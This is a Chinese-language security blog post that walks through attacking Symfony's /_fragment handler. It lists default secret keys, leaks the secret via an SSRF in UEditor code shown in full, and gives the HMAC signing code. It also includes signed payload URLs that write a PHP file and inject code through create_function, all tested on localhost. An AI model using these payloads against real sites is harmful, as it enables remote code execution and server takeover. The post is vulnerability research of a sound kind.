Symfony框架的研究与利用


很少碰到这个,这两天看了一下

本文主要针对此框架自带模块的研究

简介

Symfony 的内置功能之一是用于处理ESI(Edge-Side Includes),是FragmentListener. 本质上,当有人向 发出请求时/_fragment,此侦听器根据给定的 GET 参数设置请求属性。由于这允许运行任意 PHP 代码稍后会详细介绍),因此必须使用 HMAC 值对请求进行签名。这个 HMAC 的秘密加密密钥存储在名为 的 Symfony 配置值下secret

例如,此配置值secret也用于构建 CSRF 令牌和记住我的令牌。鉴于其重要性,这个值显然必须是非常随机的。

基本流程

跟一下,框架的基本流程

从入口文件,加载kernel

image-20220415112055380

继续跟进

image-20220415112113596

HtytpKernel类中,先对路由进行处理

image-20220415112201747

image-20220415112246220

这里看一下这个listeners,此次的重点在RouterListener

image-20220415112408400

这里就是如果不存在_controller

就会进入获取pathinfo,解析路由,再根据定义判断是否存在

image-20220415112629609

在之前环境搭建的文章中提到了这个地方如果没有定义路由的话都是无法访问的,和tp不太一样

image-20220415112748070

如果定义了,将会设置_controller进入正常的解析流程

/_fragment运行任意代码

正好在路由之前,也是可以设置_controller的值的,他就在FragmentListener

image-20220415113215986

这里会对传入的参数进行验证

就是要检查整个url

image-20220415113305593

验证的关键点就是这个密钥

image-20220415113355041

是在初始化这个类的时候赋值的

image-20220415113420258

在某些版本中他并不是一个随机值

image-20220415113508015

这里收集到了一些信息

  • Symfony4.0以下:ThisTokenIsNotSoSecretChangeIt
  • Symfony2.5.3以下:可以通过SSRF,对localhost不进行hash验证
  • ezPlatform 3.xff6dc61a329dc96652bb092ec58981f7
  • ezPlatform 2.xThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
  • 在螺栓 CMS <= 3.7(最新):md5(__DIR__)

其他情况,可以利用文件读取,这里版本不明确

  • app/config/parameters.yml
  • .env
  • 或者phpinfo的信息

根据个人喜好配置,可能很多网站会存在如文章所说的

1
https://xxx/app_dev.php/_profiler/open?file=app/config/parameters.yml

可能是后期开发的问题,在我直接composer安装的代码中,都是要验证127.0.0.1

image-20220415115525560

image-20220415121525997

所以这并不是一个稳定可以利用的点

但是这个存在见笑了获取密钥的难度

常规情况的文件读取,或者SSRF

文件读取就不多说了,在SSRF这块,正常的读取文件的流程是

  • file协议
  • 需要知道绝对路径

这个模块的存在,让读取文件变成了只需要一个正常http请求就可以了,大大降低了难度

实例

在ueditor中存在一个抓取远程图片的功能

当然这个功能实际上并不能用,因为get_headers(也是一次ssrf)获取的数组中

image-20220415121307139

所以实际上,要想正常的使用这个功能,这段代码都会被该

如下,这是一套真实的代码

image-20220415121356907

在自己的机器上测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
<?php

namespace AppBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\Yaml\Yaml;

class HelloController extends Controller
{
public function indexAction()
{
$ajax_res = $this->remoteImage();
return new JsonResponse($ajax_res);
}

private static $_config = null;
private function getConfig()
{
if(!self::$_config){
$config_file = __DIR__.'/../Resources/config/editor_config.yml';
$config = Yaml::parse($config_file);

//更改系统参数
$config['imageUrlPrefix'] = '/';
$config['imageManagerUrlPrefix'] = '/';

self::$_config = $config;
}
return self::$_config;
}

private function remoteImage()
{

/* 上传配置 */
$config = array(
"pathFormat" => '/upload_files/ueditor/image/{yyyy}{mm}{dd}/{time}{rand:6}',
"maxSize" => 2048000,
"allowFiles" => ['.png', '.jpg', '.jpeg', '.gif', '.bmp'],
"oriName" => "remote.png"
);

/* 抓取远程图片 */
$list = array();
$source = $_GET['source'];
foreach ($source as $imgUrl) {
$item = new Uploader($imgUrl, $config, "remote", '');
$info = $item->getFileInfo();
array_push($list, array(
"state" => $info["state"],
"url" => $info["url"],
"size" => $info["size"],
"title" => htmlspecialchars($info["title"]),
"original" => htmlspecialchars($info["original"]),
"source" => htmlspecialchars($imgUrl)
));
}

/* 返回抓取数据 */
return array(
'state'=> count($list) ? 'SUCCESS':'ERROR',
'list'=> $list
);
}

}
class Uploader
{
private $fileField; //文件域名
private $file; //文件上传对象
private $base64; //文件上传对象
private $config; //配置信息
private $oriName; //原始文件名
private $fileName; //新文件名
private $fullName; //完整文件名,即从当前配置目录开始的URL
private $filePath; //完整文件名,即从当前配置目录开始的URL
private $fileSize; //文件大小
private $fileType; //文件类型
private $stateInfo; //上传状态信息,
private $stateMap = array( //上传状态映射表,国际化用户需考虑此处数据的国际化
"SUCCESS", //上传成功标记,在UEditor中内不可改变,否则flash判断会出错
"文件大小超出 upload_max_filesize 限制",
"文件大小超出 MAX_FILE_SIZE 限制",
"文件未被完整上传",
"没有文件被上传",
"上传文件为空",
"ERROR_TMP_FILE" => "临时文件错误",
"ERROR_TMP_FILE_NOT_FOUND" => "找不到临时文件",
"ERROR_SIZE_EXCEED" => "文件大小超出网站限制",
"ERROR_TYPE_NOT_ALLOWED" => "文件类型不允许",
"ERROR_CREATE_DIR" => "目录创建失败",
"ERROR_DIR_NOT_WRITEABLE" => "目录没有写权限",
"ERROR_FILE_MOVE" => "文件保存时出错",
"ERROR_FILE_NOT_FOUND" => "找不到上传文件",
"ERROR_WRITE_CONTENT" => "写入文件内容错误",
"ERROR_UNKNOWN" => "未知错误",
"ERROR_DEAD_LINK" => "链接不可用",
"ERROR_HTTP_LINK" => "链接不是http链接",
"ERROR_HTTP_CONTENTTYPE" => "链接contentType不正确"
);

/**
* 构造函数
* @param string $fileField 表单名称
* @param array $config 配置项
* @param bool $base64 是否解析base64编码,可省略。若开启,则$fileField代表的是base64编码的字符串表单名
*/
public function __construct($fileField, $config, $type = "upload", $translator = '')
{
if (!empty($translator)) {
$this->stateMap = array(
"success", //上传成功标记,在UEditor中内不可改变,否则flash判断会出错
$translator->trans("文件大小超出 upload_max_filesize 限制"),
$translator->trans("文件大小超出 MAX_FILE_SIZE 限制"),
$translator->trans("文件未被完整上传"),
$translator->trans("没有文件被上传"),
$translator->trans("上传文件为空"),
"ERROR_TMP_FILE" => $translator->trans("临时文件错误"),
"ERROR_TMP_FILE_NOT_FOUND" => $translator->trans("找不到临时文件"),
"ERROR_SIZE_EXCEED" => $translator->trans("文件大小超出网站限制"),
"ERROR_TYPE_NOT_ALLOWED" => $translator->trans("文件类型不允许"),
"ERROR_CREATE_DIR" => $translator->trans("目录创建失败"),
"ERROR_DIR_NOT_WRITEABLE" => $translator->trans("目录没有写权限"),
"ERROR_FILE_MOVE" => $translator->trans("文件保存时出错"),
"ERROR_FILE_NOT_FOUND" => $translator->trans("找不到上传文件"),
"ERROR_WRITE_CONTENT" => $translator->trans("写入文件内容错误"),
"ERROR_UNKNOWN" => $translator->trans("未知错误"),
"ERROR_DEAD_LINK" => $translator->trans("链接不可用"),
"ERROR_HTTP_LINK" => $translator->trans("链接不是http链接"),
"ERROR_HTTP_CONTENTTYPE" => $translator->trans("链接contentType不正确")
);
}

$this->fileField = $fileField;
$this->config = $config;
$this->type = $type;
if ($type == "remote") {
$this->saveRemote();
} else if($type == "base64") {
$this->upBase64();
} else {
$this->upFile();
}

//$this->stateMap['ERROR_TYPE_NOT_ALLOWED'] = iconv('unicode', 'utf-8', $this->stateMap['ERROR_TYPE_NOT_ALLOWED']);
}

/**
* 上传文件的主处理方法
* @return mixed
*/
private function upFile()
{
$file = $this->file = $_FILES[$this->fileField];
if (!$file) {
$this->stateInfo = $this->getStateInfo("ERROR_FILE_NOT_FOUND");
return;
}
if ($this->file['error']) {
$this->stateInfo = $this->getStateInfo($file['error']);
return;
} else if (!file_exists($file['tmp_name'])) {
$this->stateInfo = $this->getStateInfo("ERROR_TMP_FILE_NOT_FOUND");
return;
} else if (!is_uploaded_file($file['tmp_name'])) {
$this->stateInfo = $this->getStateInfo("ERROR_TMPFILE");
return;
}

$this->oriName = $file['name'];
$this->fileSize = $file['size'];
$this->fileType = $this->getFileExt();
$this->fullName = $this->getFullName();
$this->filePath = $this->getFilePath();
$this->fileName = $this->getFileName();
$dirname = dirname($this->filePath);

//检查文件大小是否超出限制
if (!$this->checkSize()) {
$this->stateInfo = $this->getStateInfo("ERROR_SIZE_EXCEED");
return;
}

//检查是否不允许的文件格式
if (!$this->checkType()) {
$this->stateInfo = $this->getStateInfo("ERROR_TYPE_NOT_ALLOWED");
return;
}

//创建目录失败
if (!file_exists($dirname) && !mkdir($dirname, 0777, true)) {
$this->stateInfo = $this->getStateInfo("ERROR_CREATE_DIR");
return;
} else if (!is_writeable($dirname)) {
$this->stateInfo = $this->getStateInfo("ERROR_DIR_NOT_WRITEABLE");
return;
}

//移动文件
if (!(move_uploaded_file($file["tmp_name"], $this->filePath) && file_exists($this->filePath))) { //移动失败
$this->stateInfo = $this->getStateInfo("ERROR_FILE_MOVE");
} else { //移动成功
$this->stateInfo = $this->stateMap[0];
}
}

/**
* 处理base64编码的图片上传
* @return mixed
*/
private function upBase64()
{
$base64Data = $_POST[$this->fileField];
$img = base64_decode($base64Data);

$this->oriName = $this->config['oriName'];
$this->fileSize = strlen($img);
$this->fileType = $this->getFileExt();
$this->fullName = $this->getFullName();
$this->filePath = $this->getFilePath();
$this->fileName = $this->getFileName();
$dirname = dirname($this->filePath);

//检查文件大小是否超出限制
if (!$this->checkSize()) {
$this->stateInfo = $this->getStateInfo("ERROR_SIZE_EXCEED");
return;
}

//创建目录失败
if (!file_exists($dirname) && !mkdir($dirname, 0777, true)) {
$this->stateInfo = $this->getStateInfo("ERROR_CREATE_DIR");
return;
} else if (!is_writeable($dirname)) {
$this->stateInfo = $this->getStateInfo("ERROR_DIR_NOT_WRITEABLE");
return;
}

//移动文件
if (!(file_put_contents($this->filePath, $img) && file_exists($this->filePath))) { //移动失败
$this->stateInfo = $this->getStateInfo("ERROR_WRITE_CONTENT");
} else { //移动成功
$this->stateInfo = $this->stateMap[0];
}

}

/**
* 拉取远程图片
* @return mixed
*/
private function saveRemote()
{
$imgUrl = htmlspecialchars($this->fileField);
$imgUrl = str_replace("&amp;", "&", $imgUrl);

//http开头验证
if (strpos($imgUrl, "http") !== 0) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK");
return;
}
//获取请求头并检测死链
$heads = get_headers($imgUrl);
if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
$this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");
return;
}
//格式验证(扩展名验证和Content-Type验证)
$fileType = strtolower(strrchr($imgUrl, '.'));
if (!in_array($fileType, $this->config['allowFiles']) || stristr($heads['Content-Type'], "image")) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");
return;
}

//打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(
array('http' => array(
'follow_location' => false // don't follow redirects
))
);
readfile($imgUrl, false, $context);
$img = ob_get_contents();
ob_end_clean();
preg_match("/[\/]([^\/]*)[\.]?[^\.\/]*$/", $imgUrl, $m);

$this->oriName = $m ? $m[1]:"";
$this->fileSize = strlen($img);
$this->fileType = $this->getFileExt();
$this->fullName = $this->getFullName();
$this->filePath = $this->getFilePath();
$this->fileName = $this->getFileName();
$dirname = dirname($this->filePath);

//检查文件大小是否超出限制
if (!$this->checkSize()) {
$this->stateInfo = $this->getStateInfo("ERROR_SIZE_EXCEED");
return;
}

//创建目录失败
if (!file_exists($dirname) && !mkdir($dirname, 0777, true)) {
$this->stateInfo = $this->getStateInfo("ERROR_CREATE_DIR");
return;
} else if (!is_writeable($dirname)) {
$this->stateInfo = $this->getStateInfo("ERROR_DIR_NOT_WRITEABLE");
return;
}

//移动文件
if (!(file_put_contents($this->filePath, $img) && file_exists($this->filePath))) { //移动失败
$this->stateInfo = $this->getStateInfo("ERROR_WRITE_CONTENT");
} else { //移动成功
$this->stateInfo = $this->stateMap[0];
}

}

/**
* 上传错误检查
* @param $errCode
* @return string
*/
private function getStateInfo($errCode)
{
return !$this->stateMap[$errCode] ? $this->stateMap["ERROR_UNKNOWN"] : $this->stateMap[$errCode];
}

/**
* 获取文件扩展名
* @return string
*/
private function getFileExt()
{
return strtolower(strrchr($this->oriName, '.'));
}

/**
* 重命名文件
* @return string
*/
private function getFullName()
{
//替换日期事件
$t = time();
$d = explode('-', date("Y-y-m-d-H-i-s"));
$format = $this->config["pathFormat"];
$format = str_replace("{yyyy}", $d[0], $format);
$format = str_replace("{yy}", $d[1], $format);
$format = str_replace("{mm}", $d[2], $format);
$format = str_replace("{dd}", $d[3], $format);
$format = str_replace("{hh}", $d[4], $format);
$format = str_replace("{ii}", $d[5], $format);
$format = str_replace("{ss}", $d[6], $format);
$format = str_replace("{time}", $t, $format);

//过滤文件名的非法自负,并替换文件名
$oriName = substr($this->oriName, 0, strrpos($this->oriName, '.'));
$oriName = preg_replace("/[\|\?\"\<\>\/\*\\\\]+/", '', $oriName);
$format = str_replace("{filename}", $oriName, $format);

//替换随机字符串
$randNum = rand(1, 10000000000) . rand(1, 10000000000);
if (preg_match("/\{rand\:([\d]*)\}/i", $format, $matches)) {
$format = preg_replace("/\{rand\:[\d]*\}/i", substr($randNum, 0, $matches[1]), $format);
}

$ext = $this->getFileExt();
return $format . $ext;
}

/**
* 获取文件名
* @return string
*/
private function getFileName () {
return substr($this->filePath, strrpos($this->filePath, '/') + 1);
}

/**
* 获取文件完整路径
* @return string
*/
public function getFilePath()
{
$fullname = $this->fullName;
$rootPath = $_SERVER['DOCUMENT_ROOT'];

if (substr($fullname, 0, 1) != '/') {
$fullname = '/' . $fullname;
}

return $rootPath . $fullname;
}

/**
* 文件类型检测
* @return bool
*/
private function checkType()
{
return in_array($this->getFileExt(), $this->config["allowFiles"]);
}

/**
* 文件大小检测
* @return bool
*/
private function checkSize()
{
return $this->fileSize <= ($this->config["maxSize"]);
}

/**
* 获取当前上传成功文件的各项信息
* @return array
*/
public function getFileInfo()
{
return array(
"state" => $this->stateInfo,
"url" => $this->fullName,
"title" => $this->fileName,
"original" => $this->oriName,
"type" => $this->fileType,
"size" => $this->fileSize
);
}

}

测试

image-20220415121704814

直接下载png文件打开即可

image-20220415121803150

然后此处就获取到了密钥值

加密处理的方法就是完整的url,例如:http://127.0.0.1/aaaa?aaa=aaa

加密代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function check($uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}

if (empty($params[$this->parameter])) {
return false;
}

$hash = $params[$this->parameter];
unset($params[$this->parameter]);

return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash($uri)
{
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}

private function buildUrl(array $url, array $params = [])
{
ksort($params, \SORT_STRING);
$url['query'] = http_build_query($params, '', '&');

$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';

return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}

如何利用并获取权限

根据之前的流程

在验证完成之后

会进入获取控制器阶段,是通过反射的方式,这里也可以直接反射内置函数

image-20220415122351390

这里存在以下几个传入控制器的方式

  • array,这个是根据一些系统的配置先不提
  • object
  • 不存存在:,需要存在__invoke方法

image-20220415122616857

  • 存在::,主要就是这个的探索

image-20220415122707372

这里说一下原因

在高版本的php中已经不能调用assert方法了

system方法可能会禁用,并且和file_put_contents函数一样,最后一个参数需要是资源类型,由于是反射,必须存在最后一个参数

image-20220415125219995

但是资源类型的参数我们无法通过url传入,这就导致并不能用

所以这里介绍两个方式

  • create_function
  • 框架内置类

那么接下来就需要看条件了

image-20220415123129171

然后在初始画这个类的时候,并没有给这个类传入任何参数

image-20220415123209457

这就需要我们所找的框架类

  • 初始化方法不存在参数,或者都存在默认值
  • 不存在初始化方法

框架内置类

这里举个例子Symfony\Component\Filesystem\Filesystem类,不存在初始化方法

他的dumpfile方法可以写文件

image-20220415123355858

根据之前的签名构造参数

1
http://127.0.0.1:8220/app.php/_fragment?_path=_controller%3DSymfony\Component\Filesystem\Filesystem::dumpFile%26filename%3Daaaaaaaaaaaaaaaaab.php%26content%3Daaaaaa&_hash=mfNaezM6Q1%2bWamW8EaqO50CJln3KEDvDzspWnO6ORt0=

500但是文件已经生成

image-20220415123517320

create_function

image-20220415124111354

首先要知道,这是为了创建匿名函数,并调用

image-20220415123720746

如果不调用的话,是不会调用函数体的

image-20220415123759793

但是由于存在注入漏洞

1
$a = create_function('','echo "1111";}phpinfo();/*');

image-20220415123948128

构造payload

1
http://127.0.0.1:8220/app.php/_fragment?_path=_controller%3Dcreate_function%26args%3D%26code%3Decho%20%221111%22;}file_get_contents(%22http://127.0.0.1:7777/aaaa%22);/*&_hash=FFLvzMvWyaXch6Kpv1AVj/8d1VGTzDxcBD4YAuUSePk=

image-20220415125050000

end